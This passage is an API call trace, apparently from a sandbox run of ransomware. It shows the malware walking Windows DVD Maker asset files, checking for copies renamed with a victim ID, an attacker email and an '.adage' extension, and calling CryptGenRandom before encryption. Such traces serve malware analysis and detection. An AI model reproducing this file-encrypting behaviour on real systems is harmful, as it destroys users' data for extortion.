[0058.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\userContent_16x9_imagemask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\usercontent_16x9_imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.359] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.359] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=12008) returned 1 [0058.359] CloseHandle (hObject=0x180) returned 1 [0058.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png")) returned 0x20 [0058.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\whitemenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\whitemenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.359] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.360] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=237226) returned 1 [0058.360] CloseHandle (hObject=0x180) returned 1 [0058.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20 [0058.361] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.361] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.362] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=253220) returned 1 [0058.362] CloseHandle (hObject=0x180) returned 1 [0058.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv")) returned 0x20 [0058.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.362] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.362] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=789322) returned 1 [0058.362] CloseHandle (hObject=0x180) returned 1 [0058.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0058.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.363] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.363] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=869322) returned 1 [0058.363] CloseHandle (hObject=0x180) returned 1 [0058.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0058.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.363] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.365] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3016) returned 1 [0058.365] CloseHandle (hObject=0x180) returned 1 [0058.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png")) returned 0x20 [0058.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.365] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.366] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1849) returned 1 [0058.366] CloseHandle (hObject=0x180) returned 1 [0058.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0058.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.366] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.366] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3016) returned 1 [0058.366] CloseHandle (hObject=0x180) returned 1 [0058.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0058.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.367] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.367] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2041) returned 1 [0058.367] CloseHandle (hObject=0x180) returned 1 [0058.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png")) returned 0x20 [0058.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.367] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.371] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2891) returned 1 [0058.371] CloseHandle (hObject=0x180) returned 1 [0058.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png")) returned 0x20 [0058.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.372] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.372] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3016) returned 1 [0058.372] CloseHandle (hObject=0x180) returned 1 [0058.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png")) returned 0x20 [0058.372] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.373] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.373] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2019) returned 1 [0058.373] CloseHandle (hObject=0x180) returned 1 [0058.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png")) returned 0x20 [0058.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.374] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.374] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=13239) returned 1 [0058.374] CloseHandle (hObject=0x180) returned 1 [0058.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png")) returned 0x20 [0058.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.374] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.375] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5761) returned 1 [0058.375] CloseHandle (hObject=0x180) returned 1 [0058.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png")) returned 0x20 [0058.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.375] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.376] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=8169) returned 1 [0058.376] CloseHandle (hObject=0x180) returned 1 [0058.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png")) returned 0x20 [0058.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.376] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.376] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.377] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=25662) returned 1 [0058.377] CloseHandle (hObject=0x180) returned 1 [0058.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png")) returned 0x20 [0058.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" 